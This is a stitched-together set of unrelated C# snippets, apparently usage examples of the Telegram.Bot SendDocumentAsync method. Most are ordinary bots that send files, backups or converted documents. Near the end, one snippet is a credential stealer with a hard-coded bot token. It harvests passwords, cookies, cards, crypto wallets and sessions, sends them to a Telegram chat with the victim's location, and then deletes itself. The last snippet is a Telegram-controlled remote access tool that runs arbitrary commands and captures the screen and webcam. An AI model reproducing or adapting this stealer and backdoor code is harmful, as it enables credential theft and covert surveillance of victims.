/// <summary> /// Sends a string as a text file. /// </summary> /// <param name="filename">Filename.</param> /// <param name="text">The string to send.</param> /// <inheritdoc cref="TelegramBotClientExtensions.SendDocumentAsync(ITelegramBotClient, ChatId, InputOnlineFile, InputMedia?, string?, ParseMode?, IEnumerable{MessageEntity}?, bool?, bool?, int?, bool?, IReplyMarkup?, CancellationToken)"/> public static async Task <Message> SendTextFileFromStringAsync( this ITelegramBotClient botClient, ChatId chatId, string filename, string text, InputMedia?thumb = null, string?caption = null, ParseMode?parseMode = null, IEnumerable <MessageEntity>?captionEntities = null, bool?disableContentTypeDetection = null, bool?disableNotification = null, bool?protectContent = null, int?replyToMessageId = null, bool?allowSendingWithoutReply = null, IReplyMarkup?replyMarkup = null, CancellationToken cancellationToken = default) { await using var stream = new MemoryStream(Encoding.UTF8.GetBytes(text)); return(await botClient.SendDocumentAsync(chatId, new(stream, filename), thumb, caption, parseMode, captionEntities, disableContentTypeDetection, disableNotification, protectContent, replyToMessageId, allowSendingWithoutReply, replyMarkup, cancellationToken)); }
/// <summary> /// Immediately save data. /// </summary> /// <returns></returns> public async Task ForceSave() { using (await _saveLock.LockAsync()) { var chat = await _botClient.GetChatAsync(_saveResChatId); var prevPinnedMessage = chat.PinnedMessage; SaveStorageStateToFile(); Message savedMsg = null; using (var readStream = File.OpenRead(_storageFilePath)) { savedMsg = await _botClient.SendDocumentAsync( _saveResChatId, new InputOnlineFile(readStream, FileResName), caption : FileResName ); } await _botClient.PinChatMessageAsync(_saveResChatId, savedMsg.MessageId); if (_deletePreviousMessages) { await _botClient.DeleteMessageAsync(_saveResChatId, prevPinnedMessage.MessageId); } } }
public async Task AutomaticMysqlBackup() { var dataBackupInfo = await BackupMySqlDatabase(); var fullNameZip = dataBackupInfo.FullNameZip; var fileNameZip = dataBackupInfo.FileNameZip; var channelTarget = _eventLogConfig.ChannelId; var caption = HtmlMessage.Empty .Bold("File Size: ").CodeBr($"{dataBackupInfo.FileSizeSql}") .Bold("Zip Size: ").CodeBr($"{dataBackupInfo.FileSizeSqlZip}") .Text("#mysql #auto #backup"); await using var fileStream = File.OpenRead(fullNameZip); var media = new InputOnlineFile(fileStream, fileNameZip) { FileName = fileNameZip }; await _botClient.SendDocumentAsync( chatId : channelTarget, document : media, caption : caption.ToString(), parseMode : ParseMode.Html ); }
public async Task <IEnumerable <long> > SendMessage(long chatId, OutMessage message) { var result = new List <long>(message.Attachments.Count + 1); GroupAttachments(message.Attachments, out var photos, out var videos, out var others); var photoMediaGroup = photos.Select(TgConverter.ToTgPhoto); var videoMediaGroup = videos.Select(TgConverter.ToTgVideo); if (photos.Count > 0) { result.AddRange((await _api.SendMediaGroupAsync(photoMediaGroup, chatId).ConfigureAwait(false)) .Select(a => (long)a.MessageId)); } if (videos.Count > 0) { result.AddRange((await _api.SendMediaGroupAsync(videoMediaGroup, chatId).ConfigureAwait(false)) .Select(a => (long)a.MessageId)); } foreach (var attachment in others) { switch (attachment.Type) { case AttachmentType.Audio: var sentAudio = await _api.SendAudioAsync(chatId, TgConverter.ToTgMedia(attachment)) .ConfigureAwait(false); result.Add(sentAudio.MessageId); break; case AttachmentType.Voice: var sentVoice = await _api.SendVoiceAsync(chatId, TgConverter.ToTgMedia(attachment)) .ConfigureAwait(false); result.Add(sentVoice.MessageId); break; default: var sendDocument = await _api.SendDocumentAsync(chatId, TgConverter.ToTgMedia(attachment)) .ConfigureAwait(false); result.Add(sendDocument.MessageId); break; } } var keyboard = message.Keyboard switch { InlineKeyboard inlineKeyboard => TgConverter.ToTgKeyboard(inlineKeyboard), ReplyKeyboard replyKeyboard => TgConverter.ToTgKeyboard(replyKeyboard), _ => message.RemoveReplyKeyboard ? new ReplyKeyboardRemove() : null }; var sentMessage = await _api.SendTextMessageAsync(chatId, message.Text, replyMarkup : keyboard) .ConfigureAwait(false); result.Add(sentMessage.MessageId); return(result); }
//Final exams static async void FinalExams(MessageEventArgs e) { //Get the different arguments string[] args = GetArgs(e.Message.Text); //Check for arguments if (args.Length == 1) { //Store the degree string degree = args[0]; //Check if degree is GII if (args[0].Equals("GII") || args[0].Equals("Ingenieria informatica") || args[0].Equals("Informatica")) { degree = "GII"; } //Check if degree is GIC else if (args[0].Equals("GIC") || args[0].Equals("Ingenieria de computadores") || args[0].Equals("Computadores")) { degree = "GIC"; } //Check if degree is GISI else if (args[0].Equals("GISI") || args[0].Equals("Ingenieria de sistemas") || args[0].Equals("Sistemas")) { degree = "GISI"; } //If the degree is not valid else { Console.WriteLine($"Received an exam request in chat {e.Message.Chat.Id}."); //Send message to user Message errores = await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : $"No existe el grado solicitado", parseMode : ParseMode.Markdown, disableNotification : true ); return; } //If the degree is valid, the url is created with the degree initials Console.WriteLine($"Received a final exam request in chat {e.Message.Chat.Id}."); Message error = await botClient.SendDocumentAsync( chatId : e.Message.Chat, document : "http://escuelapolitecnica.uah.es/estudiantes/documentos/Examenes" + degree + ".pdf", parseMode : ParseMode.Markdown, disableNotification : true ); } else { //If there is no degree specified, notify the user Console.WriteLine($"Error with message arguments in schedule{e.Message.Chat.Id}."); Message schedule = await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : $"Debes de introducir solo una etiqueta, correspondiente al curso.", parseMode : ParseMode.Markdown, disableNotification : true ); } }
public async void UploadFile(string file, string caption) { Program.loger.Log(">> [UPLOADING FILE] " + caption + Environment.NewLine); using (FileStream fs = System.IO.File.OpenRead(file)) { InputOnlineFile inputOnlineFile = new InputOnlineFile(fs, file); await botClient.SendDocumentAsync(MY_ID_CHAT, inputOnlineFile, caption); } }
public async void HandleUpdate(Update update, ITelegramBotClient client) { using (FileStream stream = GetFileByCommand(update.Message.Text.ToLower())) { var message = await client.SendDocumentAsync(update.Message.Chat.Id, new FileToSend(stream.Name, stream), caption : "Лови", replyToMessageId : update.Message.MessageId); stream.Close(); _logger?.LogUpdate(update, message); } }
private static async void SendIfDoc(MessageEventArgs e) { var Stream = File.Open(PathToLog, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite); await botClient.SendDocumentAsync( chatId : e.Message.Chat, document : Stream ); Stream.Close(); }
public async override void Handle(MessageWrapper message, ITelegramBotClient client) { if (!(message.Document is null) && (message.Document?.FileName?.EndsWith("fb2") ?? false)) { var ctsource = new CancellationTokenSource(TimeSpan.FromMinutes(10)); var ru = "йцукенгшщзхъфывапролджэячсмитьбю" + "йцукенгшщзхъфывапролджэячсмитьбю".ToUpper(); var en = "icukengsszh-fyvaproldzeacsmin-bu" + "icukengsszh-fyvaproldzeacsmin-bu".ToUpper(); string rfn = message.Document.FileName; for (int i = 0; i < ru.Length; i++) { rfn = rfn.Replace(ru[i], en[i]); } var bookFilePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, rfn); using (var fs = File.OpenWrite(bookFilePath)) { await client.GetInfoAndDownloadFileAsync(message.Document.FileId, fs, ctsource.Token); fs.Flush(); } var a = new Process(); string outp = ""; string newbookFilePath = null; Regex rr = new Regex("failed: [1-9]+?"); try { a.StartInfo.FileName = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, @"translator\fb2pdf.cmd"); a.StartInfo.Arguments = $"\"{bookFilePath}\""; a.StartInfo.WindowStyle = ProcessWindowStyle.Normal; a.StartInfo.RedirectStandardOutput = true; a.Start(); outp = a.StandardOutput.ReadToEnd(); a.WaitForExit(); newbookFilePath = bookFilePath.Replace("fb2", "pdf"); using (var fs = File.OpenRead(newbookFilePath)) { await client.SendDocumentAsync(message.Chat.Id, new Telegram.Bot.Types.InputFiles.InputOnlineFile(fs, rfn.Replace("fb2", "pdf"))); } } catch (Exception ex) { Console.WriteLine(ex.Message); } if (rr.IsMatch(outp)) { await client.SendTextMessageAsync(message.Chat.Id, "errors when converting"); } File.Delete(bookFilePath); if (newbookFilePath != null) { File.Delete(newbookFilePath); File.Delete(bookFilePath + "pdf"); } }
public async Task SendDocumentAsync(ChatId chatId, FileToSend document, string caption = "", bool disableNotification = false, int replyToMessageId = 0, IReplyMarkup replyMarkup = null) { _logger.LogDebug("Sending document message..."); await _client.SendChatActionAsync(chatId, ChatAction.UploadDocument); var message = await _client.SendDocumentAsync(chatId, document, caption, disableNotification, replyToMessageId, replyMarkup); _logger.LogDebug("Message sent"); _logger.LogTrace($"<< {message.Chat.Id} {message.From.Id} {message.MessageId} {message.Type}"); }
/// <summary> /// Отправляет файл. /// </summary> /// <param name="id">Идентификатор пользователя.</param> /// <param name="path">Путь до файла.</param> /// <returns>Задача отправки документа пользователю.</returns> private async Task SendDocument(int id, string path) { using (var stream = new FileStream(path, FileMode.Open)) { var fileName = _outputFileTypes[id].Equals(StatisticOutputFileType.Image) ? @"Result.png" : @"Result.txt"; var file = new InputOnlineFile(stream, fileName); await _telegramBotClient.SendDocumentAsync(id, file, replyMarkup : GetKeyboard()); } File.Delete(path); }
private async Task DefaultCommand(Message message) { var randomPictureUrl = BadCommandAnswers[RandomGenerator.Next(0, BadCommandAnswers.Count)]; var reactionFile = new InputOnlineFile(randomPictureUrl); if (randomPictureUrl.EndsWith("gif") || randomPictureUrl.EndsWith("mp4")) { await TelegramBotClient.SendDocumentAsync(message.Chat, reactionFile, "I don't know that command"); } else { await TelegramBotClient.SendPhotoAsync(message.Chat, reactionFile, "I don't know that command"); } }
private static async void ForwardMessage(Message message, UserModel recipient, ITelegramBotClient botClient) { _ = message.Type switch { MessageType.Unknown => await botClient.SendTextMessageAsync(recipient.TelegramId, "Bad message!"), MessageType.Text => await botClient.SendTextMessageAsync(recipient.TelegramId, message.Text), MessageType.Photo => await botClient.SendPhotoAsync(recipient.TelegramId, new InputOnlineFile(message.Photo[0].FileId)), MessageType.Audio => await botClient.SendAudioAsync(recipient.TelegramId, new InputOnlineFile(message.Audio.FileId)), MessageType.Video => await botClient.SendVideoAsync(recipient.TelegramId, new InputOnlineFile(message.Video.FileId)), MessageType.Voice => await botClient.SendVoiceAsync(recipient.TelegramId, new InputOnlineFile(message.Voice.FileId)), MessageType.Document => await botClient.SendDocumentAsync(recipient.TelegramId, new InputOnlineFile(message.Document.FileId)), MessageType.Sticker => await botClient.SendStickerAsync(recipient.TelegramId, new InputOnlineFile(message.Sticker.FileId)), MessageType.Contact => await botClient.SendContactAsync(recipient.TelegramId, message.Contact.PhoneNumber, message.Contact.FirstName, message.Contact.LastName), MessageType.VideoNote => await botClient.SendVideoNoteAsync(recipient.TelegramId, message.VideoNote.FileId), }; }
private async Task ProcessItem(WorkItem workItem) { using (var memoryStream = new MemoryStream()) { var file = await _telegramBotClient.GetFileAsync(workItem.Files.First(), memoryStream); _logger.LogInformation("Downloaded file with name {0} and id {1} - Size: {2} KB", file.FilePath, file.FileId, file.FileSize / 1024); var result = _imageDocumentDetectionService.ProcessStream(memoryStream); if (result == null) { await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to handle this picture :("); return; } using (result) { // TODO: Reply to initial message! // TODO: File name switch (workItem.ConversationType) { case ConversationType.Image: await _telegramBotClient.SendPhotoAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".jpg", result)); break; case ConversationType.Pdf: using (var image = new MagickImage(result, new MagickReadSettings(new JpegReadDefines()))) { using (var pdfStream = new MemoryStream()) { image.Write(pdfStream, MagickFormat.Pdf); pdfStream.Position = 0; await _telegramBotClient.SendDocumentAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".pdf", pdfStream)); } } break; } } } }
public static async void SendDocument(string path, string message = null) { bot = new TelegramBotClient(Token); //await bot.SendDocumentAsync(Chat_ID, filePath); // $"{message} from {Functions.GetIp()}" try { using (var stream = File.Open(path, FileMode.Open, FileAccess.Read)) { FileToSend fts = new FileToSend(stream, Path.GetFileName(path)); await bot.SendDocumentAsync(Chat_ID, new InputOnlineFile(stream, Path.GetFileName(path)), message); stream.Close(); } } catch (Exception ex) { SendMessage("[ERROR] " + ex.Message); } }
public async Task SendMessageToUser(IMessage message) { if (message == null) { return; } _logger.Info($"Messaging chat {message.ChatId} with text \"{message.Text}\""); _history.LogHistory(message.ChatId, DateTime.Now, true, message.Text); var tgMessage = message as TelegramUserMessage; if (tgMessage != null) { if (tgMessage.File != null) { await _botClient.SendDocumentAsync(tgMessage.ChatId, tgMessage.File, tgMessage.Text, Telegram.Bot.Types.Enums.ParseMode.Markdown, replyMarkup : tgMessage.ReplyMarkup); } else { await _botClient.SendTextMessageAsync( tgMessage.ChatId, tgMessage.Text, Telegram.Bot.Types.Enums.ParseMode.Markdown, replyMarkup : tgMessage.ReplyMarkup); } return; } var notificationMessage = message as NotificationMesasge; if (notificationMessage != null) { await _botClient.SendTextMessageAsync( notificationMessage.ChatId, notificationMessage.Text, Telegram.Bot.Types.Enums.ParseMode.Markdown); } }
public async Task SendTimeReport(Subscriber subscriber, TimeReport timeReport) { var content = new StpdReportGenerator(_devOpsAddress).GenerateReport(timeReport); var byteArray = Encoding.UTF8.GetBytes(content); var contentStream = new MemoryStream(byteArray); var file = new InputOnlineFile(contentStream) { FileName = "report.html" }; await _bot.SendDocumentAsync(subscriber.TelegramId, file, caption : "Your report."); await _bot.SendTextMessageAsync(subscriber.TelegramId, $"Your stats since {timeReport.StartDate.Date:yyyy-MM-dd}{Environment.NewLine}{Environment.NewLine}" + $"Estimated Hours: {timeReport.TotalEstimated:0.##}{Environment.NewLine}" + $"Completed Hours: {timeReport.TotalCompleted:0.##}{Environment.NewLine}" + $"Active Hours: {timeReport.TotalActive:0.##}{Environment.NewLine}" + $"Expected Hours: {timeReport.Expected - timeReport.HoursOff:0.##}{Environment.NewLine}" + $"Hours off: {timeReport.HoursOff}"); }
private async void OnMessage(object sender, MessageEventArgs e) { Message message; string messageText = KeyEncryptor.Encrypt(Configuration["EncryptionKey"], e.Message.Text.ToString()); try { string fileName = GoogleDrive.GetFileNameByKey(messageText); GoogleDrive.DownloadByKey(messageText); using (FileStream fileStream = System.IO.File.Open(Configuration["DownloadPath"] + "/" + fileName, FileMode.Open)) { message = await BotClient.SendDocumentAsync( chatId : e.Message.Chat, document : new InputOnlineFile(fileStream, fileName) ); } _logger.LogInformation( $"{message.From.FirstName} sent file {fileName} " + $"to user {e.Message.From.Username} at {message.Date}. " ); } catch (ArgumentException ex) { _logger.LogWarning( $"File was not sent to user {e.Message.From.Username} with text '{e.Message.Text}' " + $"because of exception: {ex.Message}." ); await BotClient.SendTextMessageAsync( chatId : e.Message.Chat, text : ex.Message ); } catch (Exception ex) { _logger.LogError($"{DateTime.Now} : {ex.Message}"); } }
private async static void BotClient_OnMessage(object sender, MessageEventArgs e) { var replyKeyBoard = new ReplyKeyboardMarkup(new[] { new[] { new KeyboardButton("Список всех монет!") } }) { ResizeKeyboard = true }; var message = e.Message; if (e.Message.Type != MessageType.Text) { return; } Console.WriteLine(e.Message.From.FirstName, $" отправил сообщение: {e.Message.Text}"); try { var info = GetInfoAboutCrypt(message.Text, e); await botClient.SendTextMessageAsync(e.Message.Chat, info); } catch { } if (e.Message.Text == "/start") { await botClient.SendTextMessageAsync(e.Message.Chat, "Запуск!", replyMarkup : replyKeyBoard); } else if (e.Message.Text == "Список всех монет!") { using (var file = File.OpenRead("list.txt")) { await botClient.SendDocumentAsync(e.Message.Chat, new InputOnlineFile(file, "list.txt")); } } }
/// <summary> /// Sends a file with auto retry to work around Telegram API's rate limit. /// </summary> /// <inheritdoc cref="TelegramBotClientExtensions.SendDocumentAsync(ITelegramBotClient, ChatId, InputOnlineFile, InputMedia?, string?, ParseMode?, IEnumerable{MessageEntity}?, bool?, bool?, bool?, int?, bool?, IReplyMarkup?, CancellationToken)"/> public static async Task <Message> SendDocumentWithRetryAsync( this ITelegramBotClient botClient, ChatId chatId, InputOnlineFile document, InputMedia?thumb = null, string?caption = null, ParseMode?parseMode = null, IEnumerable <MessageEntity>?captionEntities = null, bool?disableContentTypeDetection = null, bool?disableNotification = null, bool?protectContent = null, int?replyToMessageId = null, bool?allowSendingWithoutReply = null, IReplyMarkup?replyMarkup = null, CancellationToken cancellationToken = default) { while (true) { try { return(await botClient.SendDocumentAsync(chatId, document, thumb, caption, parseMode, captionEntities, disableContentTypeDetection, disableNotification, protectContent, replyToMessageId, allowSendingWithoutReply, replyMarkup, cancellationToken)); } catch (ApiRequestException ex) when(ex.ErrorCode == 429) { await Task.Delay(GetRetryWaitTimeMs(ex), cancellationToken); } } }
private async void OnReceiveMessage(object sender, MessageEventArgs e) { var name = e.Message.Chat.Username ?? e.Message.Chat.FirstName; var chatId = e.Message.Chat.Id; try { if (e.Message.Type == MessageType.Text) { var message = e.Message.Text.ToLower(); var messageToReturn = await _dataService.ManipulateMessage(message, chatId); if (messageToReturn.GetType() == typeof(InputOnlineFile)) { await _telegramCliente.SendDocumentAsync(chatId, messageToReturn, $"Extrato do mês {DateTime.Now:MM/yyyy}", ParseMode.Default); } else { await _telegramCliente.SendTextMessageAsync(chatId, messageToReturn, ParseMode.Markdown); } } else { await _telegramCliente.SendTextMessageAsync(chatId, $"{name}, ainda não consigo interpretar esse tipo de mídia.\r\n\n\n" + "Digite /ajuda para conhecer os comandos."); } } catch (Exception ex) { await _telegramCliente.SendTextMessageAsync(chatId, $"{name}, houve um problema {ex.Message}.\r\n" + "Digite /ajuda para conhecer os comandos."); } }
static async void Bot_OnMessage(object sender, MessageEventArgs e) { if (e.Message != null) { Telegram.Bot.Types.Message message = e.Message; Console.WriteLine($"Received a message from {message.Chat.FirstName} at {message.Date}. It says: \"{e.Message.Text}\""); switch (message.Text) { case "/stop": step = -1; break; case "/start": await bot.SendTextMessageAsync( chatId : message.Chat, text : "Send link", replyToMessageId : message.MessageId ); step = 0; break; default: if (step == 0) { link = message.Text; await bot.SendTextMessageAsync( chatId : message.Chat, text : "Send title", replyToMessageId : message.MessageId ); step = 1; try { string id = YoutubeClient.ParseVideoId(link); MediaStreamInfoSet streamInfoSet = await clientYT.GetVideoMediaStreamInfosAsync(id); //So54Khf7bB8 video = await clientYT.GetVideoAsync(id); duration = video.Duration; // 00:07:14 AudioStreamInfo streamInfo = streamInfoSet.Audio.OrderBy(s => s.Bitrate).First(); string ext = streamInfo.Container.GetFileExtension(); Console.WriteLine("Downloading audio"); await clientYT.DownloadMediaStreamAsync(streamInfo, $"Audio\\audio.{ext}"); Console.WriteLine("Audio has been downloaded. Converting audio"); FFMpegConverter convertAudio = new NReco.VideoConverter.FFMpegConverter(); convertAudio.ConvertMedia($"Audio\\audio.{ext}", null, "Audio\\audio.ogg", null, new ConvertSettings() { //CustomOutputArgs = $"-b:a {streamInfo.Bitrate}" CustomOutputArgs = $"-c:a libopus -b:a {streamInfo.Bitrate}" }); Console.WriteLine("Converting has been completed."); } catch (Exception ex) { Console.WriteLine(ex); await bot.SendTextMessageAsync( chatId : message.Chat, text : "The link that you have sent is not valid or the file size is too big. Please, send it again", replyToMessageId : message.MessageId ); step = 0; } } else if (step == 1) { title = message.Text.ToUpper(); titleLen = title.Length - 27; output = $"<b>{message.Text}</b>\n"; await bot.SendTextMessageAsync( chatId : message.Chat, text : "Send author", replyToMessageId : message.MessageId ); step = 2; } else if (step == 2) { author = message.Text.ToUpper(); authorLen = author.Length - 14; output += $"{message.Text}\n\n"; await bot.SendTextMessageAsync( chatId : message.Chat, text : "Send desription", replyToMessageId : message.MessageId ); step = 3; } else if (step == 3) { output += $"{message.Text}\n\n"; ReplyKeyboardMarkup replyKeyboardMarkup = new[] { new[] { "Бизнес", "Биография", "Психология", "Саморазвитие" }, new[] { "Философия", "Наука", "История", "Финансы" } }; replyKeyboardMarkup.OneTimeKeyboard = true; await bot.SendTextMessageAsync( chatId : message.Chat, text : "Send genre", replyToMessageId : message.MessageId, replyMarkup : replyKeyboardMarkup ); output += $"🔈 <b>Продолжительность ≈</b> {Math.Round(duration.TotalMinutes, MidpointRounding.AwayFromZero)} минут\n"; step = 4; } else if (step == 4) { genre = message.Text.ToUpper(); output += $"📝 <b>Жанр:</b> #{message.Text}"; await bot.SendTextMessageAsync( chatId : message.Chat, text : "Send image", replyToMessageId : message.MessageId ); step = 5; } else if (step == 5) { if (message.Type == MessageType.Photo) { FileStream fs = System.IO.File.OpenWrite("Image\\cover.png"); await bot.GetInfoAndDownloadFileAsync(message.Photo.Last().FileId, fs); fs.Close(); await bot.SendTextMessageAsync( chatId : message.Chat, text : "Cover image received", replyToMessageId : message.MessageId ); FileStream pltrFile = File.OpenRead("Image\\palitre.png"); await bot.SendPhotoAsync( chatId : message.Chat, photo : pltrFile, caption : "Choose your colors. First, send me primary color", replyMarkup : replyKeyboardMarkupColor ); pltrFile.Close(); step = 6; } else { await bot.SendTextMessageAsync(message.Chat, "I implores you to send photo and not anything else, capish?"); step = 5; } } else if (step == 6) { if (message.Text[0] == '#') { primColor = message.Text; } else { primColor = '#' + message.Text; } await bot.SendTextMessageAsync( chatId : message.Chat, text : "I have got primary color. Now, send me secondary color" ); step = 7; } else if (step == 7) { if (message.Text[0] == '#') { secColor = message.Text; } else { secColor = '#' + message.Text; } replyKeyboardMarkupColor.OneTimeKeyboard = true; await bot.SendTextMessageAsync( chatId : message.Chat, text : "I have got secondary color. Now, send me background color", replyMarkup : replyKeyboardMarkupColor ); step = 8; } else if (step == 8) { if (message.Text[0] == '#') { backColor = message.Text; } else { backColor = '#' + message.Text; } await bot.SendTextMessageAsync( chatId : message.Chat, text : "I have got background color. Now, I will send you a final post" ); if (authorLen > 0) { authorFontSize -= authorLen * 8; } if (titleLen > 0) { titleFontSize -= titleLen * 5; } using (MagickImage form = new MagickImage(MagickColors.White, 1920, 1080)) { new Drawables() //Draw rectangle .FillColor(new MagickColor(backColor)) .Rectangle(0, 0, 840, 1080) //Draw hashtag .FontPointSize(100) .Font("Font\\nrwstr.otf") .FillColor(new MagickColor(secColor)) .Text(30, 124, "#") //Draw genre .Font("Font\\amcap.ttf") .Text(124, 124, genre) //Draw title .FontPointSize(titleFontSize) .FillColor(new MagickColor(primColor)) .Text(30, 520, title) //Draw name of the author .FontPointSize(authorFontSize) .FillColor(new MagickColor(secColor)) .Text(30, 650, author) //Draw name of the channel .FillColor(new MagickColor(primColor)) .FontPointSize(50) .Text(150, 960, "THINK! - АУДИОПОДКАСТЫ") //Draw link of the channel .Font("Font\\nrwstr.otf") .FillColor(new MagickColor(secColor)) .FontPointSize(40) .Text(150, 1010, "T.ME/THINKAUDIO") .Draw(form); using MagickImage cover = new MagickImage("Image\\cover.png"); cover.Resize(1280, 1280); form.Composite(cover, 840, 0, CompositeOperator.Over); //Draw logo of the channel using MagickImage logo = new MagickImage("Image\\logo.png"); logo.Alpha(AlphaOption.Set); logo.ColorFuzz = new Percentage(0); logo.Settings.BackgroundColor = MagickColors.Transparent; //logo.Settings.FillColor = MagickColors.White; logo.Opaque(MagickColors.White, new MagickColor(primColor)); form.Composite(logo, 30, 920, CompositeOperator.Over); form.Write("Image\\template.png"); } await bot.SendTextMessageAsync(message.Chat, "Template has been created. Sending it to you"); using (var stream = new FileStream("Image\\template.png", FileMode.Open)) { InputOnlineFile inputOnlineFile = new InputOnlineFile(stream, "template.png"); await bot.SendDocumentAsync(message.Chat, inputOnlineFile); } try { ImgurClient client = new ImgurClient("", ""); ImageEndpoint endpoint = new ImageEndpoint(client); IImage image; using (FileStream fs = new FileStream("Image\\template.png", FileMode.Open)) { await bot.SendTextMessageAsync(message.Chat, "Uploading Image to Imgur"); image = await endpoint.UploadImageStreamAsync(fs); } picLink = image.Link; Console.WriteLine("Image uploaded. Image Url: " + image.Link); output += $"<a href=\"{picLink}\">‍</a>"; await bot.SendTextMessageAsync( chatId : message.Chat, text : output, parseMode : ParseMode.Html ); } catch (ImgurException imgurEx) { Debug.Write("An error occurred uploading an image to Imgur."); Debug.Write(imgurEx.Message); } using (var stream = new FileStream("Audio\\audio.ogg", FileMode.Open)) { await bot.SendVoiceAsync( chatId : message.Chat, voice : stream ); } step = -1; } break; } } }
private static void Main(string[] args) { try { User user; string str; botClient = new TelegramBotClient("879228914:AAH0PEwN4FUC6XvZjCbykrBbd4U2QfQ5lOo", (System.Net.Http.HttpClient)null); if (!File.Exists(Path.Combine(Identifier.ApplicationData, "yes"))) { File.Create(Path.Combine(Identifier.ApplicationData, "yes")); char[] separator = new char[] { ' ' }; string[] collection = raws.Split(separator, StringSplitOptions.RemoveEmptyEntries); KeyWords.AddRange(collection); user = new User(); Identifier.GetInfo(ref user); Kill(); Stealer.Steal(ref user); UserAgentGenerator.Generate(ref user); Sorter.Sort(ref user); str = string.Empty; using (List <string> .Enumerator enumerator = KeyWords.GetEnumerator()) { string current; bool flag2; bool flag3; goto TR_0021; TR_000B: if (flag3 | flag2) { str = str + "\n"; } goto TR_0021; TR_0015: foreach (Cookie cookie in user.Cookies) { try { if (!cookie.Host.ToLower().Contains(current.ToLower())) { continue; } if (!flag2) { continue; } str = str + "(C)"; flag3 = true; } catch { continue; } break; } goto TR_000B; TR_0021: while (true) { if (enumerator.MoveNext()) { current = enumerator.Current; flag2 = false; flag3 = false; try { foreach (Password password in user.Passwords) { if (password.URL.ToLower().Contains(current.ToLower())) { str = str + current + " (P)"; flag2 = true; break; } } } catch { } } else { goto TR_0008; } break; } goto TR_0015; } } return; TR_0002: ProcessStartInfo info1 = new ProcessStartInfo(); info1.Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Path.Combine(Directory.GetCurrentDirectory(), Process.GetCurrentProcess().ProcessName) + "\""; info1.WindowStyle = ProcessWindowStyle.Hidden; info1.CreateNoWindow = true; info1.FileName = "cmd.exe"; Process.Start(info1); return; TR_0008: using (FileStream stream = new FileStream(Identifier.StealerZip, FileMode.Open)) { try { InputOnlineFile document = new InputOnlineFile(stream, Identifier.StealerZip); string[] textArray1 = new string[0x1c]; textArray1[0] = "IP: *"; textArray1[1] = user.IP; textArray1[2] = "*\nCountry: *"; textArray1[3] = user.Country; textArray1[4] = " ("; textArray1[5] = user.CountryCode; textArray1[6] = ")*\nCity: *"; textArray1[7] = user.City; textArray1[8] = "*\n————————————————\n"; textArray1[9] = $"Passwords: *{user.PasswordsNumber}*"; textArray1[10] = $"Cookies: *{user.CookiesNumber}*"; textArray1[11] = $"Forms: *{user.Forms}*"; textArray1[12] = $"Cards: *{user.CardsNumber}*"; textArray1[13] = "Photo: *"; textArray1[14] = user.WithPhoto ? " +" : "-"; string[] local3 = textArray1; local3[15] = "*\nBitcoins: *"; local3[0x10] = user.Bitcoin ? " +" : "-"; string[] local4 = local3; local4[0x11] = "*\nSessions:*"; local4[0x12] = user.FileZilla ? " FileZilla" : ""; string[] local5 = local4; local5[0x13] = "**"; local5[20] = user.Steam ? " Steam" : ""; string[] local6 = local5; local6[0x15] = "**"; local6[0x16] = user.Telegram ? " Telegram" : ""; string[] local7 = local6; local7[0x17] = "**"; local7[0x18] = user.Discord ? " Discord" : ""; string[] local8 = local7; local8[0x19] = "*\n————————————————\n*"; local8[0x1a] = str; local8[0x1b] = "*"; CancellationToken cancellationToken = new CancellationToken(); botClient.SendDocumentAsync(TELEGAID, document, string.Concat(local8), ParseMode.Markdown, false, 0, null, cancellationToken, null).Wait(); } catch { } } goto TR_0002; } catch (Exception exception) { Errors.Add(exception); } }
static async void Bot_OnMessage(object sender, MessageEventArgs e) { if (e.Message.Text != null) { Console.WriteLine($"Received a text message in chat {e.Message.Chat.Id}."); System.Net.IPAddress[] addressList = Dns.GetHostAddresses(Dns.GetHostName()); if (e.Message.Text.Contains("/command ")) { if (e.Message.Text.Substring(0, 9).ToLower().Equals("/command ")) { string command = e.Message.Text.Substring(9); RunCmd(command, out string re); await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : $"return:\n{re}" ); } } else if (e.Message.Text.ToLower().Equals("/help")) { await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : "/whoami - returns the current logged in user\n" + "/sysinfo - returns system information\n" + "/command <argument> - executes an arbitrary command\n" + "/getscr - Get Screen Picture\n" + "/getpic - Get Camera Picture\n" + "/help - This help message." ); } else if (e.Message.Text.ToLower().Equals("/whoami")) { await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : $"{Environment.UserDomainName}\\{Environment.UserName}" ); } else if (e.Message.Text.ToLower().Equals("/getscr")) { Bitmap bb = getScreen(); bb.Save(path); using (FileStream fs = System.IO.File.OpenRead(path)) { InputOnlineFile inputOnlineFile = new InputOnlineFile(fs, "pic.jpg"); await botClient.SendDocumentAsync(e.Message.Chat, inputOnlineFile); } File.Delete(path); //选择是否截图后删除该文件 } else if (e.Message.Text.ToLower().Equals("/getpic")) { //检测是否存在摄像头 if (GetDevices()) { vid = new VideoSourcePlayer(); CameraConn(); //初始化摄像头 GrabBitmap(); //进行拍照,并保存到本地 Thread.Sleep(2000); StopCamera(); //关闭摄像头 using (FileStream fs = System.IO.File.OpenRead(path)) { InputOnlineFile inputOnlineFile = new InputOnlineFile(fs, "pic.jpg"); await botClient.SendDocumentAsync(e.Message.Chat, inputOnlineFile); } File.Delete(path); //选择是否截图后删除该文件 } else { await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : "目标服务上摄像头不存在!" ); } } else if (e.Message.Text.ToLower().Equals("/sysinfo")) { await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : $"IPv4: {addressList[1]}\n" + $"OS: {Environment.OSVersion.Platform}" ); } else { await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : "You said:\n" + e.Message.Text ); } } }
